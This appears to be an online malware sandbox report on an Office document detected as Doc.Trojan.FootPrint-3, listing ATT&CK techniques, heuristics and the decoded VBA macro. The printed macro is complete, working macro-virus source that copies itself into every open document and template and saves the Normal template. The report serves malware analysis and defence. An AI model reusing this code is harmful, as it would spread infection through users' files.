MALICIOUS
180
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is a malicious Office document containing VBA macros. The 'Document_Open' macro is triggered upon opening the file, which then attempts to export the VBA project to 'c:\footprint.$$$' and modify it using content from 'c:\footprint.$$1'. This behavior is indicative of an attempt to establish persistence or download additional payloads, aligning with the FootPrint malware family characteristics.
Heuristics 3
-
ClamAV: Doc.Trojan.FootPrint-3 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.FootPrint-3
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1956 bytes |
SHA-256: 27084c296476fbcbd3399fcacb7acb2a1c496066feabcc846ee8841b3e00300b |
|||
|
Detection
ClamAV:
Doc.Trojan.FootPrint-3
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Option Explicit
'FootPrint
Private Sub Document_Close()
On Error Resume Next
Kill "c:\footprint.$$?"
Document_Open
End Sub
Private Sub Document_New()
Document_Open
End Sub
Private Sub Document_Open()
On Error Resume Next
Dim al, aaa, ttt As String
Dim adoc As Document
Dim atpl As Template
Dim CoL As Integer
ThisDocument.VBProject.VBComponents("ThisDocument").Export "c:\footprint.$$$"
Open "c:\footprint.$$$" For Input As #1
Open "c:\footprint.$$1" For Output As #2
Line Input #1, al
Line Input #1, al
Line Input #1, al
Line Input #1, al
While Not EOF(1)
Line Input #1, al
Print #2, al
Wend
Close 1
Close 2
For Each adoc In Documents
aaa = adoc.FullName
If Not adoc.CustomDocumentProperties(aaa) Then
adoc.CustomDocumentProperties.Add Name:=aaa, LinkToContent:=False, Value:=True, Type:=msoPropertyTypeBoolean
CoL = adoc.VBProject.VBComponents("ThisDocument").CodeModule.CountOfLines
adoc.VBProject.VBComponents("ThisDocument").CodeModule.DeleteLines 1, CoL
adoc.VBProject.VBComponents("ThisDocument").CodeModule.AddFromFile "c:\footprint.$$1"
End If
Next
For Each atpl In Templates
ttt = atpl.FullName
If Not atpl.CustomDocumentProperties(ttt) Then
atpl.CustomDocumentProperties.Add Name:=ttt, LinkToContent:=False, Value:=True, Type:=msoPropertyTypeBoolean
CoL = atpl.VBProject.VBComponents("ThisDocument").CodeModule.CountOfLines
atpl.VBProject.VBComponents("ThisDocument").CodeModule.DeleteLines 1, CoL
atpl.VBProject.VBComponents("ThisDocument").CodeModule.AddFromFile "c:\footprint.$$1"
End If
Next
NormalTemplate.Save
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.